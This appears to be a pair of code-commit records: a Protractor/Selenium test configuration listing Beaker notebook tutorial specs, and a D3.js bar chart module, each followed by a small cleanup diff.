/* * Copyright 2014 TWO SIGMA OPEN SOURCE, LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ var helper = require('./helper.js'); var config = { seleniumAddress: 'http://localhost:4444/wd/hub', framework: 'jasmine2', allScriptsTimeout: 100000, restartBrowserBetweenTests: false, jasmineNodeOpts: { defaultTimeoutInterval: 100000, print: function() {} }, capabilities: { shardTestFiles: true, maxInstances: 3, browserName: 'firefox' }, getMultiCapabilities: helper.getFirefoxProfile, onPrepare: function() { var SpecReporter = require('jasmine-spec-reporter'); jasmine.getEnv().addReporter(new SpecReporter({ displayStacktrace: 'specs' })); }, specs: [ 'tests/tutorials/groovy_plotting/category-plot-tutorial.js', 'tests/tutorials/groovy_plotting/charting-tutorial.js', 'tests/tutorials/groovy_plotting/plot-features-tutorial.js', 'tests/tutorials/groovy_plotting/heatmap-tutorial.js', 'tests/tutorials/groovy_plotting/treemap-tutorial.js', 'tests/tutorials/groovy_plotting/histogram-tutorial.js', 'tests/tutorials/groovy_plotting/levelsOfDetail-tutorial.js', 'tests/tutorials/groovy_plotting/plotActions-tutorial.js', 'tests/tutorials/language_demos/sql-tutorial.js', 'tests/tutorials/language_demos/java-tutorial.js', 'tests/tutorials/language_demos/groovy-tutorial.js', 'tests/tutorials/language_demos/clojure-tutorial.js', 'tests/tutorials/language_demos/python-tutorial.js', 'tests/tutorials/language_demos/jscript-tutorial.js', 'tests/tutorials/language_demos/R-tutorial.js', 'tests/tutorials/language_demos/nodejs-tutorial.js', 'tests/tutorials/table_display/tableGroovy-tutorial.js', 'tests/tutorials/standard_visual_api/d3js-tutorial.js', 'tests/tutorials/standard_visual_api/p5js-tutorial.js', 'tests/tutorials/automate/progress-reporting-tutorial.js', 'tests/tutorials/automate/notebookControl-tutorial.js', 'tests/tutorials/automate/notebook-reflection-tutorial.js', 'tests/tutorials/automate/dashboard-tutorial.js', 'tests/tables.js', 'tests/tutorials/native_plotting/jscriptPlot-tutorial.js', 'tests/tutorials/feature_overview/autotranslation-tutorial.js', 'tests/tutorials/feature_overview/codeReuse-tutorial.js', 'tests/tutorials/feature_overview/beakerObject-tutorial.js', 'tests/tutorials/feature_overview/outputContainer-tutorial.js', 'tests/tutorials/feature_overview/bigIntegerTables-tutorial.js', 'tests/tutorials/feature_overview/text-tutorial.js', 'tests/badToStringTest.js' ] }; exports.config = config;
JavaScript
0.000002
@@ -3074,37 +3074,38 @@ ext-tutorial.js' -, %0A +// 'tests/badToStr
d7c9d51a06479db562be39c73551c7d8f523cbd0
Clean up code.
barchart.js
barchart.js
(function (exports) { "use strict"; /*jshint curly:false */ /*global d3 */ exports.barchart = function () { var barchart, width, height, yAxisPadding, yAxisTicks, xScale, yScale, yInverseScale, xAxis, yAxis; width = 300; height = 300; xScale = d3.scale.ordinal(); yAxisPadding = 25; yAxisTicks = height / 75; yScale = d3.scale.linear(); yInverseScale = d3.scale.linear(); yAxis = d3.svg.axis() .scale(yInverseScale) .orient("left") .ticks(yAxisTicks) .tickSize(6, 0); barchart = function (selection) { selection.each(function (data) { var labels, yMin, yMax, svg, enter, group; // Extract labels. labels = d3.keys(data); // Convert object to array. data = d3.keys(data).map(function (d) { return [d, data[d]]; }); // Update padded x scale. xScale.domain(labels) .rangeBands([yAxisPadding, width]); // Update padded y scale. yMin = d3.min(data, function (d) { return d[1]; }); yMax = d3.max(data, function (d) { return d[1]; }); yScale.domain([yMin, yMax]) .range([0, height]); yInverseScale.domain([yMin, yMax]) .range([height, 0]); // Select existing SVG elements. svg = d3.select(this) .selectAll("svg") .data([data]) // Trick to create only one svg element for each data set. // Create non-existing SVG elements. svg.enter() .append("svg"); // Update both existing and newly created SVG elements. svg.attr("width", width) .attr("height", height); // Generate y axis. svg.append("g") .attr("class", "axis") // Add penalty of 1 so that axis and first bar do not collide. .attr("transform", "translate(" + (yAxisPadding - 1) + ",0)") .call(yAxis); // Generate bars. svg.append("g") .selectAll("rect") .data(data) .enter() .append("rect") .attr("class", "bar") .attr("width", function (d) { return xScale.rangeBand(); }) .attr("height", function (d) { return yScale(d[1]); }) .attr("x", function (d) { return xScale(d[0]); }) .attr("y", function (d) { return height - yScale(d[1]); }) .append("title") .text(function (d) { return d[0]; }); }); }; barchart.height = function (_) { if (!arguments.length) return height; height = _; return barchart; }; barchart.width = function (_) { if (!arguments.length) return width; width = _; return barchart; }; barchart.yAxisPadding = function (_) { if (!arguments.length) return yAxisPadding; yAxisPadding = _; return barchart; }; barchart.yAxisTicks = function (_) { if (!arguments.length) return yAxisTicks; yAxisTicks = _; return barchart; }; return barchart; }; }(window));
JavaScript
0
@@ -156,16 +156,32 @@ height, + xScale, yScale, yAxisPa @@ -190,20 +190,8 @@ ing, - yAxisTicks, %0A @@ -203,44 +203,30 @@ -xScale, yScale, yInverseScale, xAxis +yAxisTicks, yAxisScale , yA @@ -311,16 +311,52 @@ dinal(); +%0A yScale = d3.scale.linear(); %0A%0A @@ -423,51 +423,12 @@ y -Scale = d3.scale.linear();%0A yInverse +Axis Scal @@ -442,33 +442,32 @@ scale.linear();%0A -%0A yAxis = @@ -506,23 +506,20 @@ .scale(y -Inverse +Axis Scale)%0A @@ -760,22 +760,8 @@ svg -, enter, group ;%0A%0A @@ -1150,23 +1150,16 @@ Update -padded y scale. @@ -1450,24 +1450,25 @@ , height%5D);%0A +%0A @@ -1472,19 +1472,68 @@ - yInverse +// Update inverted y scale for y axis.%0A yAxis Scal @@ -1547,35 +1547,32 @@ n(%5ByMin, yMax%5D)%0A - @@ -2660,21 +2660,17 @@ .attr(%22 -width +x %22, funct @@ -2720,19 +2720,13 @@ cale -.rangeBand( +(d%5B0%5D );%0A @@ -2773,22 +2773,17 @@ .attr(%22 -height +y %22, funct @@ -2784,33 +2784,32 @@ function (d) %7B%0A - @@ -2821,16 +2821,25 @@ return + height - yScale( @@ -2886,33 +2886,37 @@ .attr(%22 -x +width %22, function (d) @@ -2946,37 +2946,43 @@ return xScale -(d%5B0%5D +.rangeBand( );%0A @@ -3009,33 +3009,38 @@ .attr(%22 -y +height %22, function (d) @@ -3033,32 +3033,33 @@ function (d) %7B%0A + @@ -3067,33 +3067,24 @@ return - height - yScale(d%5B1%5D